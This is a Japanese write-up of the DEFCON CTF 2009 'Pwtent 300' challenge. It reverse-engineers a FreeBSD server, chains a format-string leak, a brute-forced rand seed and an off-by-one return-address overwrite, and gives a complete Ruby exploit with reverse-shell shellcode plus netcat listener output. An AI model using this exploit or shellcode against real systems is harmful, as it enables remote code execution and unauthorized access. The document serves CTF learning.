DEFCON CTF 2009 Pwtent 300

pwn23.ddtek.biz
http://shallweplayaga.me/pwnable/da6d6bf2e2058ec98f67bf6b0e608c79

まず何のファイルか確認

# file da6d6bf2e2058ec98f67bf6b0e608c79
da6d6bf2e2058ec98f67bf6b0e608c79: ELF 32-bit LSB executable, 
Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, 
dynamically linked (uses shared libs), FreeBSD-style, not stripped

IDAProで開く
not strippedなので読みやすい

.text:08048C80 main proc near
.text:08048C80
.text:08048C80 name   = dword ptr -30h
.text:08048C80 var_2C = dword ptr -2Ch
.text:08048C80 arg_0  = byte ptr  4
.text:08048C80
.text:08048C80     lea     ecx, [esp+arg_0]
.text:08048C84     and     esp, 0FFFFFFF0h
.text:08048C87     push    dword ptr [ecx-4]
.text:08048C8A     push    ebp
.text:08048C8B     mov     ebp, esp
.text:08048C8D     push    ecx
.text:08048C8E     sub     esp, 24h
.text:08048C91     movzx   eax, svc_port
.text:08048C98     cwde
.text:08048C99     mov     [esp+30h+name], eax
.text:08048C9C     call    init
.text:08048CA1     mov     [ebp-8], eax
.text:08048CA4     mov     [esp+30h+name], "pwn300"
.text:08048CAB     call    drop_privs_user
.text:08048CB0     mov     [esp+30h+var_2C], offset client_callback
.text:08048CB8     mov     eax, [ebp-8]
.text:08048CBB     mov     [esp+30h+name], eax
.text:08048CBE     call    loop
.text:08048CC3     mov     eax, 0
.text:08048CC8     add     esp, 24h
.text:08048CCB     pop     ecx
.text:08048CCC     pop     ebp
.text:08048CCD     lea     esp, [ecx-4]
.text:08048CD0     retn

これはサーバプログラム
svc_portが使用するポート→0E4Fh(3663)番
initはsocketからlistenまでを実行
drop_privs_userは実行ユーザーがpwn300かどうかを判別
loopはacceptとforkを実行し、forkされるのはclient_callback関数
よって実質的なサーバとしての処理はclient_callback
client_callbackがクライアントとのやり取りを行う
ポートが分かったので実行し、試しにncで接続

$ nc 172.17.0.1 3663
Mon Mar 16 08:23:16 2009
Press enter to continue:
AAAA(入力)
AA (出力)
BBBB(入力)

現在の時間と"Press enter to continue:"が出力される
AAAAという4バイトを入力すると最初の2バイトが出力
2度目の入力でBBBBを渡すと何も起こらず終了
client_callbackを解析

.text:08049550 client_callback proc near
.text:08049550
.text:08049550 var_14 = dword ptr -14h
.text:08049550 timer  = dword ptr -10h
.text:08049550 format = byte  ptr -0Ch
.text:08049550 var_A  = byte  ptr -0Ah
.text:08049550 var_9  = byte  ptr -9
.text:08049550 var_8  = dword ptr -8
.text:08049550 stream = dword ptr -4
.text:08049550 fd     = dword ptr  8
.text:08049550
.text:08049550     push    ebp
.text:08049551     mov     ebp, esp
.text:08049553     sub     esp, 28h
.text:08049556     mov     [ebp+var_8], 0
.text:0804955D     lea     eax, [ebp+timer]
.text:08049560     mov     [esp], eax
.text:08049563     call    _time
.text:08049568     lea     eax, [ebp+timer]
.text:0804956B     mov     [esp], eax
.text:0804956E     call    _ctime
.text:08049573     mov     [esp+8], eax
.text:08049577     mov     dword ptr [esp+4], offset aS ; "%s"
.text:0804957F     mov     eax, [ebp+fd]
.text:08049582     mov     [esp], eax
.text:08049585     call    sendFormat
.text:0804958A     call    get_random_int
.text:0804958F     mov     ds:global_canary, eax
.text:08049594     mov     eax, ds:global_canary
.text:08049599     mov     [esp], eax
.text:0804959C     call    _srand
.text:080495A1     call    _rand
.text:080495A6     mov     [ebp+var_8], eax
.text:080495A9     mov     dword ptr [esp+8], 0
.text:080495B1     mov     dword ptr [esp+4], "Press enter to continue: \n"
.text:080495B9     mov     eax, [ebp+fd]
.text:080495BC     mov     [esp], eax
.text:080495BF     call    sendMsg
.text:080495C4     mov     dword ptr [esp+0Ch], 0Ah
.text:080495CC     mov     dword ptr [esp+8], 4
.text:080495D4     lea     eax, [ebp+format]
.text:080495D7     mov     [esp+4], eax
.text:080495DB     mov     eax, [ebp+fd]
.text:080495DE     mov     [esp], eax
.text:080495E1     call    read_until_delim
.text:080495E6     test    eax, eax
.text:080495E8     jns     short loc_8049601
.text:080495EA     mov     eax, [ebp+fd]
.text:080495ED     mov     [esp], eax
.text:080495F0     call    _close
.text:080495F5     mov     [ebp+var_14], 0
.text:080495FC     jmp     loc_8049682

関数呼び出しの順番
time、ctime、sendFormat、get_random_int、srand、rand、sendMsg
そしてread_until_delimが呼ばれる
time、ctime、sendFormatで現在時間をクライアントへ送信
get_random_int、srand、randで乱数を生成

.text:0804958A     call    get_random_int
.text:0804958F     mov     ds:global_canary, eax
.text:08049594     mov     eax, ds:global_canary
.text:08049599     mov     [esp], eax
.text:0804959C     call    _srand
.text:080495A1     call    _rand
.text:080495A6     mov     [ebp+var_8], eax

get_random_intの戻り値をglobal_canaryに入れる
srand(global_canary)を実行後、randの戻り値をvar_8へ入れる
get_random_intは/dev/urandomから乱数を取得する関数

.text:08049390 get_random_int  proc near
.text:08049390
.text:08049390 buf = dword ptr -8
.text:08049390 fd  = dword ptr -4
.text:08049390
.text:08049390     push    ebp
.text:08049391     mov     ebp, esp
.text:08049393     sub     esp, 28h
.text:08049396     mov     dword ptr [esp+4], 0
.text:0804939E     mov     dword ptr [esp], "/dev/urandom"
.text:080493A5     call    _open
.text:080493AA     mov     [ebp+fd], eax
###########################################################
################## fd = open("/dev/urandom", 0);
###########################################################
.text:080493AD     mov     [ebp+buf], 0
.text:080493B4     cmp     [ebp+fd], 0
.text:080493B8     jns     short loc_80493FC
###########################################################
################## buf = 0;
################## if(fd >= 0)
##################     goto loc_80493FC;
###########################################################
.text:080493BA     mov     dword ptr [esp], 1
.text:080493C1     call    _exit
.text:080493C6
.text:080493C6 loc_80493C6:
.text:080493C6     mov     dword ptr [esp+8], 4
.text:080493CE     lea     eax, [ebp+buf]
.text:080493D1     mov     [esp+4], eax
.text:080493D5     mov     eax, [ebp+fd]
.text:080493D8     mov     [esp], eax
.text:080493DB     call    _read
###########################################################
################## eax = read(fd, &buf, 4);
###########################################################
.text:080493E0     cmp     eax, 4
.text:080493E3     jz      short loc_80493FC
###########################################################
################## if(eax == 4)
##################     goto loc_80493FC;
###########################################################
.text:080493E5     mov     eax, [ebp+fd]
.text:080493E8     mov     [esp], eax
.text:080493EB     call    _close
.text:080493F0     mov     dword ptr [esp], 1
.text:080493F7     call    _exit
.text:080493FC
.text:080493FC loc_80493FC:
.text:080493FC     mov     eax, [ebp+buf]
.text:080493FF     cmp     eax, 3
.text:08049402     jbe     short loc_80493C6
###########################################################
################## if(buf <= 3)
##################     goto loc_80493C6
###########################################################
.text:08049404     mov     eax, [ebp+fd]
.text:08049407     mov     [esp], eax
.text:0804940A     call    _close
.text:0804940F     mov     eax, [ebp+buf]
.text:08049412     shr     eax, 1
.text:08049414     leave
.text:08049415     retn
###########################################################
################## return (buf >> 1);
###########################################################

/dev/urandomから4バイト取得
最後に1ビット右シフトしているため乱数の範囲は0x04〜0x7FFFFFFF
global_canaryには0x04〜0x7FFFFFFFのいずれかの値が入る
var_8にはsrand(global_canary)後のrand()の戻り値が入る

global_canary = get_random_int(); // 0x04..0x7FFFFFFF
srand(global_canary);
var_8 = rand();

乱数を生成したら
次はsendMsgで"Press enter to continue: \n"をクライアントへ送信
そしてread_until_delimを呼び出し

.text:080495C4     mov     dword ptr [esp+0Ch], 0Ah
.text:080495CC     mov     dword ptr [esp+8], 4
.text:080495D4     lea     eax, [ebp+format]
.text:080495D7     mov     [esp+4], eax
.text:080495DB     mov     eax, [ebp+fd]
.text:080495DE     mov     [esp], eax
.text:080495E1     call    read_until_delim
###########################################################
################## read_until_delim(fd, var_0Ch, 4, 0x0a);
###########################################################
.text:080495E6     test    eax, eax
.text:080495E8     jns     short loc_8049601

read_until_delimに渡す引数は4つ
ソケットハンドル、取得データの格納先、最大サイズ、終端文字
クライアントからのデータに対して
終端文字が見つかる or 最大サイズに達する
という条件が満たされるまでrecvする
改行(0x0a)を使わなければ
var_0Ch(format)、var_0Bh、var_0Ah、var_09h
の4バイトにデータを入れることが可能
ただしvar_0Ah、var_09hは次の処理にて0x0Aと0x00に初期化される

.text:08049601 loc_8049601:
.text:08049601     mov     [ebp+var_A], 0Ah
.text:08049605     mov     [ebp+var_9], 0

よって実質2バイトのみ有効

.text:08049609     mov     dword ptr [esp+4], "r+"
.text:08049611     mov     eax, [ebp+fd]
.text:08049614     mov     [esp], eax
.text:08049617     call    _fdopen
.text:0804961C     mov     [ebp+stream], eax
.text:0804961F     cmp     [ebp+stream], 0
.text:08049623     jnz     short loc_8049631
###########################################################
################## stream = fdopen("r+");
################## if(stream != 0)
##################     goto loc_8049631;
###########################################################
.text:08049625     mov     dword ptr [esp], 1
.text:0804962C     call    _exit
.text:08049631
.text:08049631 loc_8049631:
.text:08049631     mov     eax, [ebp+var_8]
.text:08049634     mov     [esp+8], eax
.text:08049638     lea     eax, [ebp+format]
.text:0804963B     mov     [esp+4], eax
.text:0804963F     mov     eax, [ebp+stream]
.text:08049642     mov     [esp], eax
.text:08049645     call    _fprintf
.text:0804964A     mov     eax, [ebp+stream]
.text:0804964D     mov     [esp], eax
.text:08049650     call    _fflush
###########################################################
################## fprintf(stream, var_0Ch, var_8);
################## fflush(stream);
###########################################################
.text:08049655     mov     eax, [ebp+fd]
.text:08049658     mov     [esp], eax
.text:0804965B     call    handle_client
###########################################################
################## handle_client(fd);
###########################################################
.text:08049660     mov     eax, [ebp+stream]
.text:08049663     mov     [esp], eax
.text:08049666     call    _fclose
.text:0804966B     test    eax, eax
.text:0804966D     jz      short loc_804967B
###########################################################
################## if(fclose(stream) == 0)
##################     goto loc_804967B;
###########################################################
.text:0804966F     mov     dword ptr [esp], 1
.text:08049676     call    _exit
.text:0804967B
.text:0804967B loc_804967B:
.text:0804967B     mov     [ebp+var_14], 0
.text:08049682
.text:08049682 loc_8049682:
.text:08049682     mov     eax, [ebp+var_14]
.text:08049685     leave
.text:08049686     retn

fprintf関数に渡される2番目の引数はvar_0Ch、3番目はvar_8
var_0Chはクライアントからの入力値、var_8はrand()の戻り値
つまり"%x"を入れるとrandの戻り値が表示される

$ nc 172.17.0.100 3663
Mon Mar 16 08:51:42 2009
Press enter to continue:
%x
381c930a

randの戻り値からブルートフォースでglobal_canaryが取得できる

$ cat rand.c
#include <stdio.h>

int main(void)
{
    unsigned int i;
    for(i=4; i <= 0x7FFFFFFF; i++){
        srand(i);
        if(0x381C930A == rand()){
            printf("global_canary = %x\n", i);
            break;
        }
    }
    return 0;
}
$ gcc rand.c -o rand
$ time ./rand
global_canary = 1251cbd3
        5.48 real         5.44 user         0.00 sys

5秒程度でglobal_canaryを算出できた
次はhandle_client関数を見ていく

.text:08049420 handle_client   proc near
.text:08049420
.text:08049420 buff   = dword ptr -70h
.text:08049420 var_6C = byte ptr -6Ch
.text:08049420 var_6B = byte ptr -6Bh
.text:08049420 var_4  = dword ptr -4
.text:08049420 fd     = dword ptr  8
.text:08049420
.text:08049420     push    ebp
.text:08049421     mov     ebp, esp
.text:08049423     sub     esp, 88h
.text:08049429     mov     [ebp+var_6C], 64h
.text:0804942D     mov     [ebp+var_4], 30A0E82h
.text:08049434     mov     eax, [ebp+var_4]
.text:08049437     xor     eax, 804E7FFh
.text:0804943C     mov     [ebp+var_4], eax
###########################################################
################## var_6Ch = 100;
################## var_4 = 0x30A0E82 ^ 0x804E7FF;
###########################################################
.text:0804943F     mov     eax, ds:global_canary
.text:08049444     mov     [ebp+buff], eax
.text:08049447     mov     dword ptr [esp+8], 64h
.text:0804944F     mov     dword ptr [esp+4], 0
.text:08049457     lea     eax, [ebp+buff]
.text:0804945A     add     eax, 5
.text:0804945D     mov     [esp], eax
.text:08049460     call    _memset
###########################################################
################## var_70h = global_canary;
################## eax = var_6Bh(&var_70h+5);
################## memset(eax, 0, 100);
###########################################################
.text:08049465     mov     edi, eax
.text:08049467     jmp     short loc_8049485
.text:08049469
.text:08049469 loc_8049469:
.text:08049469     movzx   eax, [ebp+var_6C]
.text:0804946D     sub     eax, 1
.text:08049470     mov     [ebp+var_6C], al
.text:08049473     movzx   eax, [ebp+var_6C]
.text:08049477     movsx   edx, al
.text:0804947A     movzx   eax, ds:single_char
.text:08049481     mov     [ebp+edx+var_6B], al
.text:08049485
.text:08049485 loc_8049485:
.text:08049485     mov     eax, [ebp+fd]
.text:08049488     mov     [esp], eax
.text:0804948B     call    get_char
.text:08049490     mov     ds:single_char, al
.text:08049495     movzx   eax, ds:single_char
.text:0804949C     cmp     al, 0Ah
.text:0804949E     jz      short loc_80494A8
.text:080494A0     movzx   eax, [ebp+var_6C]
.text:080494A4     test    al, al
.text:080494A6     jns     short loc_8049469
###########################################################
################## goto loc_8049485;
################## while(1){
##################     var_6Ch--;
##################     *(var_6Ch + &var_6B) = single_char;
################## loc_8049485:
##################     single_char = get_char(fd);
##################     if(single_char == 0x0A)
##################         break;
##################     if(var_6Ch < 0)
##################         break;
################## }
###########################################################
.text:080494A8
.text:080494A8 loc_80494A8:
.text:080494A8     mov     eax, [ebp+buff]
.text:080494AB     mov     [esp], eax
.text:080494AE     call    _srand
.text:080494B3     call    _rand
.text:080494B8     mov     ds:rand1, eax
.text:080494BD     mov     eax, [ebp+var_4]
.text:080494C0     mov     [esp], eax
.text:080494C3     call    _srand
.text:080494C8     call    _rand
.text:080494CD     mov     ds:rand2, eax
###########################################################
################## srand(var_70h);  rand1 = rand();
################## srand(var_4);    rand2 = rand();
###########################################################
.text:080494D2     mov     edx, ds:rand1
.text:080494D8     mov     eax, ds:rand2
.text:080494DD     cmp     edx, eax
.text:080494DF     jnz     short loc_80494EB
###########################################################
################## if(rand1 != rand2)
##################     goto loc_80494EB; // exit(2)
###########################################################
.text:080494E1     mov     edx, [ebp+buff]
.text:080494E4     mov     eax, [ebp+var_4]
.text:080494E7     cmp     edx, eax
.text:080494E9     jnz     short locret_80494F7
###########################################################
################## if(var_70h != var_4)
##################     goto locret_80494F7; // return
###########################################################
.text:080494EB
.text:080494EB loc_80494EB:
.text:080494EB     mov     dword ptr [esp], 2
.text:080494F2     call    _exit
.text:080494F7
.text:080494F7 locret_80494F7:
.text:080494F7     leave
.text:080494F8     retn

まずoff by oneの脆弱性がひとつある

goto loc_8049485;
while(1){
    var_6Ch--;
    *(var_6Ch + &var_6B) = single_char;
loc_8049485:
    single_char = get_char(fd);
    if(single_char == 0x0A)
        break;
    if(var_6Ch < 0)
        break;
}

var_6Chは初期値0x64であるため、
1回目のループ時:var_8(0x63 + &var_6Bh) = single_char
2回目のループ時:var_9(0x62 + &var_6Bh) = single_char
3回目のループ時:var_Ah(0x61 + &var_6Bh) = single_char
....
0x63回目のループ時:var_6Ah(0x1 + &var_6Bh) = single_char
0x64回目のループ時:var_6Bh(0x0 + &var_6Bh) = single_char
この時点ですでに0x64バイト分終了(var_6Chは0x0である)
ここでloc_8049485以降を処理すると
var_6Chはまだ0であるためif(var_6Ch < 0)を満たさない
つまりbreakせず、再びwhileの先頭へ戻る
0x65回目のループ時:var_6Ch(-1 + &var_6Bh) = single_char
1バイトのオーバーフローによりvar_6Chが書き換え可能
このvar_6Chはchar型の最大値0x7Fまで設定可能
つまり(0x7F + &var_6Bh)まで書き換えできる

-0000000000000070 buff    dd ?
-000000000000006C var_6C  db ?
-000000000000006B var_6B  db ? ; (0x0 + &var_6Bh)
-000000000000006A         db ? ; (0x1 + &var_6Bh)
(省略)
-0000000000000008         db ? ; (0x63 + &var_6Bh)
-0000000000000007         db ? ; (0x64 + &var_6Bh)
-0000000000000006         db ? ; (0x65 + &var_6Bh)
-0000000000000005         db ? ; (0x66 + &var_6Bh)
-0000000000000004 var_4   dd ? ; (0x67 + &var_6Bh)
+0000000000000000  s      db 4 ; (0x6B-0x6F + &var_6Bh)
+0000000000000004  r      db 4 ; (0x6F-0x73 + &var_6Bh)
+0000000000000008 fd      dd ?

0x7F範囲内(0x6F-0x73)に関数のretアドレスがある
off by oneによりret書き換え可能、任意のshellcodeへ飛ばせる

srand(var_70h); // var_70h = global_canary
rand1 = rand(); 
srand(var_4);   // var_4 = 0x30A0E82 ^ 0x804E7FF
rand2 = rand();
if(rand1 != rand2)
    exit(2);
if(var_70h == var_4)
    exit(2);

exitを呼び出されたらretを書き換えても意味がない
正常に関数を終わらせるためには2つの条件をクリアする必要がある
1、rand1とrand2は同じにしなければならない
var_4は 0x30A0E82 ^ 0x804E7FF の固定値だが、
0x7F範囲内であるため書き換え可能
global_canaryは%xで取得したrand値からブルートフォースで取得可
2、global_canaryとvar_4は異ならなければならない
FreeBSDにおいては、乱数生成器の関係上、
srandに渡す種の差が0x7FFFFFFFあれば同じrand値を返す

$ cat rand2.c
#include <stdio.h>

int main(void)
{
    srand(0xFFFFFFF0);
    printf("%08x = ", rand());
    srand(0x7FFFFFF1);
    printf("%08x\n", rand());
    return 0;
}

$ gcc rand2.c -o rand2
$ ./rand2
7ffc68dd = 7ffc68dd

以上のことから以下のアタックフローを作成できる
(1)1度目の入力時に"%x"を入力しglobal_canaryのrand値を取得
(2)(1)のrand値からブルートフォースによりglobal_canaryを取得
(3)2度目の入力時に0x65バイトを送り、最後の1バイトを0x73にする
(4)off by oneにより再入力が発生
(5)var_4をglobal_canary + 0x7FFFFFFFの値に変更
(6)NOP + shellcode + var_4 + retを0x73の範囲に書き込み
(7)関数から抜けretに戻る際にshellcodeが実行される
まず、global_canaryを取得するプログラムをCで作成

$ cat get_global_canary.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    unsigned long i, n;

    if(argc < 2)
        return 1;
    n = strtoul(argv[1], NULL, 16);

    for(i=4; i <= 0x7FFFFFFF; i++){
        srand(i);
        if(n == rand()){
            printf("%x\n", (unsigned int)i);
            break;
        }
    }
    return 0;
}
$ gcc -Wall get_global_canary.c -o get_global_canary

続いてexploit本体(Rubyで作成)

$ cat exp.rb
#!/usr/bin/ruby

require "socket"

begin
    sock = TCPSocket.open(ARGV[0], 3663)
rescue
    puts "TCPSocket.open failed: #$!\n"
else
    print "RECV: " + sock.gets
    print "RECV: " + sock.gets

    ## send "%x" + LF
    f2byte = "%x\n"
    sock.write f2byte
    print "SEND: " + f2byte

    ## recv rand1
    rand1str = sock.gets
    rand1str.chomp!
    print "RECV: " + rand1str + "\n"
    rand1 = rand1str.hex

    ## calc global_canary
    global_canary_str = ""
    IO.popen("./get_global_canary 0x" + rand1str, "r+") do |io|
        global_canary_str = io.gets
        global_canary_str.chomp!
    end
    global_canary = global_canary_str.hex

    ## get val_4
    val_4 = global_canary + 0x7fffffff
    val_4_str = val_4.to_s(16)
    print "STAT: global_canary = " + global_canary_str + "\n"
    print "STAT: val_4         = " + val_4_str + "\n"

    ## send 0x65 bytes
    for i in 1..100
        sock.write "A"
    end
    sock.write "s" ## 0x73
    print "SEND: A*64 + 0x73\n"

    ## send 0x73 bytes
    ## <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>
    addr = ARGV[1].split(".").collect{|c| c.to_i}.pack("C4")
    port = [ARGV[2].to_i].pack("n")
    ## LF 1byte
    shell = "\x0a"
    ## NOP 32byte
    for i in 1..32
        shell += "\x90"
    end
    ## shell 70byte
    shell += "\x03\xe5" ## add esp,ebp
    shell += "\x6a\x61\x58\x99\x52\x42\x52\x42"
    shell += "\x52\x68"   + addr +   "\xcd\x80"
    shell += "\x68\x10\x02"+port+"\x89\xe1\x6a"
    shell += "\x10\x51\x50\x51\x97\x6a\x62\x58"
    shell += "\xcd\x80\x6a\x02\x59\xb0\x5a\x51"
    shell += "\x57\x51\xcd\x80\x49\x79\xf6\x50"
    shell += "\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    shell += "\x69\x6e\x89\xe3\x50\x54\x53\x53"
    shell += "\xb0\x3b\xcd\x80"
    ## var_4 + ebp + ret
    shell += [val_4].pack("L")        ## val_4
    shell += "\x00\x10\x00\x00"       ## ebp
    shell += [ARGV[3].hex].pack("L")  ## ret
    sock.write shell.unpack("C*").reverse.collect{|c| c.to_i}.pack("C*")
    print "SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>\n"

    sock.close()
end

172.17.0.100で問題ファイルを実行
reverse shellを使うため適当なマシンを用意してポート待ち受け

// Ubuntu Linux (172.17.11.226)
$ nc -lvp 7777
listening on [any] 7777 ...

続いてexploitを実行
引数は<ターゲットIP> <接続先IP> <接続先ポート>

$ ruby exp.rb 172.17.0.100 172.17.11.226 7777 bfbfebde
RECV: Tue Apr 20 01:20:59 2010
RECV: Press enter to continue:
SEND: %x
RECV: 16ff2ac1
(数秒ウェイト)
STAT: global_canary = 4f080308
STAT: val_4         = cf080307
SEND: A*64 + 0x73
SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>

shellcodeがうまく実行されれば
172.17.0.100から172.17.11.226:7777へconnectが行く

// Ubuntu Linux (172.17.11.226)
$ nc -lvp 7777
listening on [any] 7777 ...
172.17.0.100: inverse host lookup failed: Unknown host
connect to [172.17.11.226] from (UNKNOWN) [172.17.0.100] 49180
ls(入力)
da6d6bf2e2058ec98f67bf6b0e608c79
KEY
cat KEY
$Hey: @tlas has this hours ago$

shell取得完了
KEYファイルの中にパスワードがある
"$Hey: @tlas has this hours ago$"が答え